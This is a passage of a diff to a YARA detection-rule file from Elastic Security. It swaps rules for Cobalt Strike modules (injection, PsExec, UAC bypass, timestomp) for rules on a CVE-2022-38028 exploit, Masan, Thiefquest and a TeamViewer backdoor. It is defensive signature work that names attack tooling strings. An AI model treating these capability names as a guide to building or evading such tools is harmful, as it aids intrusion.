-		$a11 = "Could not open service control manager on %s: %d" ascii fullword
-		$a12 = "%d is an x64 process (can't inject x86 content)" ascii fullword
-		$a13 = "%d is an x86 process (can't inject x64 content)" ascii fullword
-		$a14 = "Failed to impersonate logged on user %d (%u)" ascii fullword
-		$a15 = "could not create remote thread in %d: %d" ascii fullword
-		$a16 = "%s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
-		$a17 = "could not write to process memory: %d" ascii fullword
-		$a18 = "Could not create service %s on %s: %d" ascii fullword
-		$a19 = "Could not delete service %s on %s: %d" ascii fullword
-		$a20 = "Could not open process token: %d (%u)" ascii fullword
-		$a21 = "%s.1%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
-		$a22 = "Could not start service %s on %s: %d" ascii fullword
-		$a23 = "Could not query service %s on %s: %d" ascii fullword
-		$a24 = "Could not connect to pipe (%s): %d" ascii fullword
-		$a25 = "%s.1%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
-		$a26 = "could not spawn %s (token): %d" ascii fullword
-		$a27 = "could not open process %d: %d" ascii fullword
-		$a28 = "could not run %s as %s\\%s: %d" ascii fullword
-		$a29 = "%s.1%08x%08x%08x%08x.%x%x.%s" ascii fullword
-		$a30 = "kerberos ticket use failed:" ascii fullword
-		$a31 = "Started service %s on %s" ascii fullword
-		$a32 = "%s.1%08x%08x%08x.%x%x.%s" ascii fullword
-		$a33 = "I'm already in SMB mode" ascii fullword
-		$a34 = "could not spawn %s: %d" ascii fullword
-		$a35 = "could not open %s: %d" ascii fullword
-		$a36 = "%s.1%08x%08x.%x%x.%s" ascii fullword
-		$a37 = "Could not open '%s'" ascii fullword
-		$a38 = "%s.1%08x.%x%x.%s" ascii fullword
-		$a39 = "%s as %s\\%s: %d" ascii fullword
-		$a40 = "%s.1%x.%x%x.%s" ascii fullword
-		$a41 = "beacon.x64.dll" ascii fullword
-		$a42 = "%s on %s: %d" ascii fullword
-		$a43 = "www6.%x%x.%s" ascii fullword
-		$a44 = "cdn.%x%x.%s" ascii fullword
-		$a45 = "api.%x%x.%s" ascii fullword
-		$a46 = "%s (admin)" ascii fullword
-		$a47 = "beacon.dll" ascii fullword
-		$a48 = "%s%s: %s" ascii fullword
-		$a49 = "@%d.%s" ascii fullword
-		$a50 = "%02d/%02d/%02d %02d:%02d:%02d" ascii fullword
-		$a51 = "Content-Length: %d" ascii fullword
+		$a = { E7 81 6A 12 EA A8 56 6C 86 94 ED F6 E8 D7 35 E1 EC 65 47 BA 8E 46 2C A6 14 5F }
 
 	condition:
-		6 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_9C0D5561 : FILE MEMORY
+rule ELASTIC_Windows_Exploit_CVE_2022_38028_31Fdb122 : FILE MEMORY CVE_2022_38028
 {
 	meta:
-		description = "Identifies PowerShell Runner module from Cobalt Strike"
+		description = "Detects Windows Exploit Cve 2022 38028 (Windows.Exploit.CVE-2022-38028)"
 		author = "Elastic Security"
-		id = "9c0d5561-5b09-44ae-8e8c-336dee606199"
-		date = "2021-03-23"
-		modified = "2021-10-04"
+		id = "31fdb122-36fd-4fae-b605-542dc344575c"
+		date = "2024-06-06"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L493-L523"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "a8929266950e0f540a68c4fedf708e8ddc27f208f9f2866245ad7bb7f6d87913"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Exploit_CVE_2022_38028.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6b311c0a977d21e772ac4e99762234da852bbf84293386fbe78622a96c0b052f"
+		logic_hash = "df0ef11ce8e840c331d1db8f98917367dc2a33b6f1be48adb9d0b86729ecbe99"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "01d53fcdb320f0cd468a2521c3e96dcb0b9aa00e7a7a9442069773c6b3759059"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		quality = 73
+		tags = "FILE, MEMORY, CVE-2022-38028"
+		fingerprint = "e489287412ee673f4d93c5efc9e61b5d26d877bb0f4ddf827926b4d5d87dc399"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -65128,344 +69116,234 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_9C0D5561 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "PowerShellRunner.dll" wide fullword
-		$a2 = "powershell.x64.dll" ascii fullword
-		$a3 = "powershell.dll" ascii fullword
-		$a4 = "\\\\.\\pipe\\powershell" ascii fullword
-		$b1 = "PowerShellRunner.PowerShellRunner" ascii fullword
-		$b2 = "Failed to invoke GetOutput w/hr 0x%08lx" ascii fullword
-		$b3 = "Failed to get default AppDomain w/hr 0x%08lx" ascii fullword
-		$b4 = "ICLRMetaHost::GetRuntime (v4.0.30319) failed w/hr 0x%08lx" ascii fullword
-		$b5 = "CustomPSHostUserInterface" ascii fullword
-		$b6 = "RuntimeClrHost::GetCurrentAppDomainId failed w/hr 0x%08lx" ascii fullword
-		$b7 = "ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx" ascii fullword
-		$c1 = { 8B 08 50 FF 51 08 8B 7C 24 1C 8D 4C 24 10 51 C7 }
-		$c2 = "z:\\devcenter\\aggressor\\external\\PowerShellRunner\\obj\\Release\\PowerShellRunner.pdb" ascii fullword
+		$a = { 70 72 69 6E 74 54 69 63 6B 65 74 2E 58 6D 6C 4E 6F 64 65 2E 6C 6F 61 64 28 27 25 53 3A 2F 2F 67 6F 27 29 3B }
 
 	condition:
-		(1 of ($a*) and 4 of ($b*)) or 1 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_59Ed9124 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Masan_5369C678 : FILE MEMORY
 {
 	meta:
-		description = "Identifies PsExec module from Cobalt Strike"
+		description = "Detects Linux Trojan Masan (Linux.Trojan.Masan)"
 		author = "Elastic Security"
-		id = "59ed9124-bc20-4ea6-b0a7-63ee3359e69c"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "5369c678-9a74-42fe-a4b3-b4d48126bb22"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L525-L560"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "a50fd291f5f1bf7ec41b1938a32473a23c3c082018b86eab87aff0d95b26ba06"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Masan.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f2de9f39ca3910d5b383c245d8ca3c1bdf98e2309553599e0283062e0aeff17f"
+		logic_hash = "e57b105004216a6054b0561b69cce00c35255c5bd33aa8e403d0a3967cd0697e"
 		score = 75
-		quality = 43
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7823e3b98e55a83bf94b0f07e4c116dbbda35adc09fa0b367f8a978a80c2efff"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "5fd243bf05cafd7db33d6c0167f77148ae53983906e917e174978130ae08062a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\psexec_command.x64.o" ascii fullword
-		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\psexec_command.x86.o" ascii fullword
-		$b1 = "__imp_BeaconDataExtract" ascii fullword
-		$b2 = "__imp_BeaconDataParse" ascii fullword
-		$b3 = "__imp_BeaconDataParse" ascii fullword
-		$b4 = "__imp_BeaconDataParse" ascii fullword
-		$b5 = "__imp_ADVAPI32$StartServiceA" ascii fullword
-		$b6 = "__imp_ADVAPI32$DeleteService" ascii fullword
-		$b7 = "__imp_ADVAPI32$QueryServiceStatus" ascii fullword
-		$b8 = "__imp_ADVAPI32$CloseServiceHandle" ascii fullword
-		$c1 = "__imp__BeaconDataExtract" ascii fullword
-		$c2 = "__imp__BeaconDataParse" ascii fullword
-		$c3 = "__imp__BeaconDataParse" ascii fullword
-		$c4 = "__imp__BeaconDataParse" ascii fullword
-		$c5 = "__imp__ADVAPI32$StartServiceA" ascii fullword
-		$c6 = "__imp__ADVAPI32$DeleteService" ascii fullword
-		$c7 = "__imp__ADVAPI32$QueryServiceStatus" ascii fullword
-		$c8 = "__imp__ADVAPI32$CloseServiceHandle" ascii fullword
+		$a = { 89 C0 89 45 E4 83 7D E4 FF 75 ?? 68 ?? 90 04 08 }
 
 	condition:
-		1 of ($a*) or 5 of ($b*) or 5 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_8A791Eb7 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Thiefquest_9130C0F3 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Registry module from Cobalt Strike"
+		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
 		author = "Elastic Security"
-		id = "8a791eb7-dc0c-4150-9e5b-2dc21af0c77d"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "9130c0f3-5926-4153-87d8-85a591eed929"
+		date = "2021-09-30"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L562-L597"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d1765e6cac9b1560d6484baa1fa5a1bc0b768a72b389c7c6a60e34115669933e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Thiefquest.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bed3561210e44c290cd410adadcdc58462816a03c15d20b5be45d227cd7dca6b"
+		logic_hash = "20e9ea15a437a17c4ef68f2472186f6d1ab3118d5b392f84fcb2bd376ec3863a"
 		score = 75
-		quality = 43
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4967886ba5e663f2e2dc0631939308d7d8f2194a30590a230973e1b91bd625e1"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "38916235c68a329eea6d41dbfba466367ecc9aad2b8ae324da682a9970ec4930"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\registry.x64.o" ascii fullword
-		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\registry.x86.o" ascii fullword
-		$b1 = "__imp_ADVAPI32$RegOpenKeyExA" ascii fullword
-		$b2 = "__imp_ADVAPI32$RegEnumKeyA" ascii fullword
-		$b3 = "__imp_ADVAPI32$RegOpenCurrentUser" ascii fullword
-		$b4 = "__imp_ADVAPI32$RegCloseKey" ascii fullword
-		$b5 = "__imp_BeaconFormatAlloc" ascii fullword
-		$b6 = "__imp_BeaconOutput" ascii fullword
-		$b7 = "__imp_BeaconFormatFree" ascii fullword
-		$b8 = "__imp_BeaconDataPtr" ascii fullword
-		$c1 = "__imp__ADVAPI32$RegOpenKeyExA" ascii fullword
-		$c2 = "__imp__ADVAPI32$RegEnumKeyA" ascii fullword
-		$c3 = "__imp__ADVAPI32$RegOpenCurrentUser" ascii fullword
-		$c4 = "__imp__ADVAPI32$RegCloseKey" ascii fullword
-		$c5 = "__imp__BeaconFormatAlloc" ascii fullword
-		$c6 = "__imp__BeaconOutput" ascii fullword
-		$c7 = "__imp__BeaconFormatFree" ascii fullword
-		$c8 = "__imp__BeaconDataPtr" ascii fullword
+		$a1 = "heck_if_targeted" ascii fullword
+		$a2 = "check_command" ascii fullword
+		$a3 = "askroot" ascii fullword
+		$a4 = "iv_rescue_data" ascii fullword
 
 	condition:
-		1 of ($a*) or 5 of ($b*) or 5 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_D00573A3 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Thiefquest_Fc2E1271 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Screenshot module from Cobalt Strike"
+		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
 		author = "Elastic Security"
-		id = "d00573a3-db26-4e6b-aabf-7af4a818f383"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "fc2e1271-3c96-4c93-9e3d-212782928e6e"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L599-L625"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e458d41d28b76c989af6385f183f33aa9e11b93e529f032e95bd75433b80bd69"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Thiefquest.yar#L24-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "12fb0eca3903a3b39ecc3c2aa6c04fe5faa1f43a3d271154d14731d1eb196923"
+		logic_hash = "a20c76e53874fc0fec5fd2660c63c6f1e7c1b2055cbd2a9efdfd114cd6bdda5c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b6fa0792b99ea55f359858d225685647f54b55caabe53f58b413083b8ad60e79"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "195e8f65e4ea722f0e1ba171f2ad4ded97d4bc97da38ef8ac8e54b8719e4c5ae"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "screenshot.x64.dll" ascii fullword
-		$a2 = "screenshot.dll" ascii fullword
-		$a3 = "\\\\.\\pipe\\screenshot" ascii fullword
-		$b1 = "1I1n1Q3M5Q5U5Y5]5a5e5i5u5{5" ascii fullword
-		$b2 = "GetDesktopWindow" ascii fullword
-		$b3 = "CreateCompatibleBitmap" ascii fullword
-		$b4 = "GDI32.dll" ascii fullword
-		$b5 = "ReflectiveLoader"
-		$b6 = "Adobe APP14 marker: version %d, flags 0x%04x 0x%04x, transform %d" ascii fullword
+		$a = { 77 47 72 33 31 30 50 6D 72 7A 30 30 30 30 30 37 33 00 30 30 30 42 67 7B 30 30 }
 
 	condition:
-		2 of ($a*) or 5 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_7Bcd759C : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Thiefquest_86F9Ef0C : FILE MEMORY
 {
 	meta:
-		description = "Identifies SSH Agent module from Cobalt Strike"
+		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
 		author = "Elastic Security"
-		id = "7bcd759c-8e3d-4559-9381-1f4fe8b3dd95"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "86f9ef0c-832e-4e4a-bd39-c80c1d064dbe"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L627-L648"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "bfbb8e8009182e87c49242ec3da6e98b23447b646f5c7ea5f97196ae929d7c5f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Thiefquest.yar#L44-L62"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "59fb018e338908eb69be72ab11837baebf8d96cdb289757f1f4977228e7640a0"
+		logic_hash = "426d533d39e594123f742b15d0a93ded986b9b308685f7b2cfaf5de0b32cdbff"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "553085f1d1ca8dcd797360b287951845753eee7370610a1223c815a200a5ed20"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "e8849628ee5449c461f1170c07b6d2ebf4f75d48136f26b52bee9bcf4e164d5b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "sshagent.x64.dll" ascii fullword
-		$a2 = "sshagent.dll" ascii fullword
-		$b1 = "\\\\.\\pipe\\sshagent" ascii fullword
-		$b2 = "\\\\.\\pipe\\PIPEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ascii fullword
+		$a = { 6C 65 31 6A 6F 57 4E 33 30 30 30 30 30 33 33 00 30 72 7A 41 43 47 33 57 72 7C }
 
 	condition:
-		1 of ($a*) and 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_A56B820F : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Thiefquest_40F9C1C3 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Timestomp module from Cobalt Strike"
+		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
 		author = "Elastic Security"
-		id = "a56b820f-0a20-4054-9c2d-008862646a78"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "40f9c1c3-29f8-4699-8f66-9b7ddb08f92d"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L650-L685"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "52de8110727c29b0f5c75cd470ce6b80ba7821d0ba78ad074536323e2e80b460"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Thiefquest.yar#L64-L82"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e402063ca317867de71e8e3189de67988e2be28d5d773bbaf75618202e80f9f6"
+		logic_hash = "546edc2d6d715eac47e7a8d3ceb91cf314fa6dbee04f0475a5c4a84ba53fd722"
 		score = 75
-		quality = 43
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5418e695bcb1c37e72a7ff24a39219dc12b3fe06c29cedefd500c5e82c362b6d"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "27ec200781541d5b1abc96ffbb54c428b773bffa0744551bbacd605c745b6657"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\timestomp.x64.o" ascii fullword
-		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\timestomp.x86.o" ascii fullword
-		$b1 = "__imp_KERNEL32$GetFileTime" ascii fullword
-		$b2 = "__imp_KERNEL32$SetFileTime" ascii fullword
-		$b3 = "__imp_KERNEL32$CloseHandle" ascii fullword
-		$b4 = "__imp_KERNEL32$CreateFileA" ascii fullword
-		$b5 = "__imp_BeaconDataExtract" ascii fullword
-		$b6 = "__imp_BeaconPrintf" ascii fullword
-		$b7 = "__imp_BeaconDataParse" ascii fullword
-		$b8 = "__imp_BeaconDataExtract" ascii fullword
-		$c1 = "__imp__KERNEL32$GetFileTime" ascii fullword
-		$c2 = "__imp__KERNEL32$SetFileTime" ascii fullword
-		$c3 = "__imp__KERNEL32$CloseHandle" ascii fullword
-		$c4 = "__imp__KERNEL32$CreateFileA" ascii fullword
-		$c5 = "__imp__BeaconDataExtract" ascii fullword
-		$c6 = "__imp__BeaconPrintf" ascii fullword
-		$c7 = "__imp__BeaconDataParse" ascii fullword
-		$c8 = "__imp__BeaconDataExtract" ascii fullword
+		$a = { 77 47 72 33 31 30 50 6D 72 7A 30 30 30 30 30 37 33 00 33 7C 49 56 7C 6A 30 30 }
 
 	condition:
-		1 of ($a*) or 5 of ($b*) or 5 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_92F05172 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Thiefquest_0F9Fe37C : FILE MEMORY
 {
 	meta:
-		description = "Identifies UAC cmstp module from Cobalt Strike"
+		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
 		author = "Elastic Security"
-		id = "92f05172-f15c-4077-a958-b8490378bf08"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "0f9fe37c-77df-4d3d-be8a-c62ea0f6863c"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L687-L716"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7f0ff4ee14a043d72810826ab9d2b90b0f66724550ba9d3cdd2abe749f4874d0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Thiefquest.yar#L84-L102"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "12fb0eca3903a3b39ecc3c2aa6c04fe5faa1f43a3d271154d14731d1eb196923"
+		logic_hash = "84f9e8938d7e2b0210003fc8334b8fa781a40afffeda8d2341970b84ed5d3b5a"
 		score = 75
-		quality = 63
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "09b1f7087d45fb4247a33ae3112910bf5426ed750e1e8fe7ba24a9047b76cc82"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "2e809d95981f0ff813947f3be22ab3d3c000a0d348131d5d6c8522447818196d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uaccmstp.x64.o" ascii fullword
-		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uaccmstp.x86.o" ascii fullword
-		$b1 = "elevate_cmstp" ascii fullword
-		$b2 = "$pdata$elevate_cmstp" ascii fullword
-		$b3 = "$unwind$elevate_cmstp" ascii fullword
-		$c1 = "_elevate_cmstp" ascii fullword
-		$c2 = "__imp__OLE32$CoGetObject@16" ascii fullword
-		$c3 = "__imp__KERNEL32$GetModuleFileNameA@12" ascii fullword
-		$c4 = "__imp__KERNEL32$GetSystemWindowsDirectoryA@8" ascii fullword
-		$c5 = "OLDNAMES"
-		$c6 = "__imp__BeaconDataParse" ascii fullword
-		$c7 = "_willAutoElevate" ascii fullword
+		$a = { 77 47 72 33 31 30 50 6D 72 7A 30 30 30 30 30 37 33 00 33 71 6B 6E 6C 55 30 55 }
 
 	condition:
-		1 of ($a*) or 3 of ($b*) or 4 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_417239B5 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Thiefquest_1F4Bac78 : FILE MEMORY
 {
 	meta:
-		description = "Identifies UAC token module from Cobalt Strike"
+		description = "Detects Macos Trojan Thiefquest (MacOS.Trojan.Thiefquest)"
 		author = "Elastic Security"
-		id = "417239b5-cf2d-4c85-a022-7a8459c26793"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "1f4bac78-ef2b-49cd-8852-e84d792f6e57"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L718-L764"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "fda252747359e677459d82d65c4c9c8f2ff80bc8fd6a38712f858039f3cb8dd1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Thiefquest.yar#L104-L122"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "12fb0eca3903a3b39ecc3c2aa6c04fe5faa1f43a3d271154d14731d1eb196923"
+		logic_hash = "96db33e135138846f978026867bb2536226539997d060f41e7081f7f29b66c85"
 		score = 75
-		quality = 51
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "292afee829e838f9623547f94d0561e8a9115ce7f4c40ae96c6493f3cc5ffa9b"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "e7d1e2009ff9b33d2d237068e2af41a8aa9bd44a446a2840c34955594f060120"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken.x64.o" ascii fullword
-		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken.x86.o" ascii fullword
-		$a3 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken2.x64.o" ascii fullword
-		$a4 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken2.x86.o" ascii fullword
-		$b1 = "$pdata$is_admin_already" ascii fullword
-		$b2 = "$unwind$is_admin" ascii fullword
-		$b3 = "$pdata$is_admin" ascii fullword
-		$b4 = "$unwind$is_admin_already" ascii fullword
-		$b5 = "$pdata$RunAsAdmin" ascii fullword
-		$b6 = "$unwind$RunAsAdmin" ascii fullword
-		$b7 = "is_admin_already" ascii fullword
-		$b8 = "is_admin" ascii fullword
-		$b9 = "process_walk" ascii fullword
-		$b10 = "get_current_sess" ascii fullword
-		$b11 = "elevate_try" ascii fullword
-		$b12 = "RunAsAdmin" ascii fullword
-		$b13 = "is_ctfmon" ascii fullword
-		$c1 = "_is_admin_already" ascii fullword
-		$c2 = "_is_admin" ascii fullword
-		$c3 = "_process_walk" ascii fullword
-		$c4 = "_get_current_sess" ascii fullword
-		$c5 = "_elevate_try" ascii fullword
-		$c6 = "_RunAsAdmin" ascii fullword
-		$c7 = "_is_ctfmon" ascii fullword
-		$c8 = "_reg_query_dword" ascii fullword
-		$c9 = ".drectve" ascii fullword
-		$c10 = "_is_candidate" ascii fullword
-		$c11 = "_SpawnAsAdmin" ascii fullword
-		$c12 = "_SpawnAsAdminX64" ascii fullword
+		$a = { 77 47 72 33 31 30 50 6D 72 7A 30 30 30 30 30 37 33 00 32 33 4F 65 49 66 31 68 }
 
 	condition:
-		1 of ($a*) or 9 of ($b*) or 7 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_29374056 : FILE MEMORY
+rule ELASTIC_Windows_Backdoor_Teamviewer_Df8E7326 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Cobalt Strike MZ Reflective Loader."
+		description = "Detects Windows Backdoor Teamviewer (Windows.Backdoor.TeamViewer)"
 		author = "Elastic Security"
-		id = "29374056-03ce-484b-8b2d-fbf75be86e27"
-		date = "2021-03-23"
-		modified = "2021-08-23"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L766-L785"
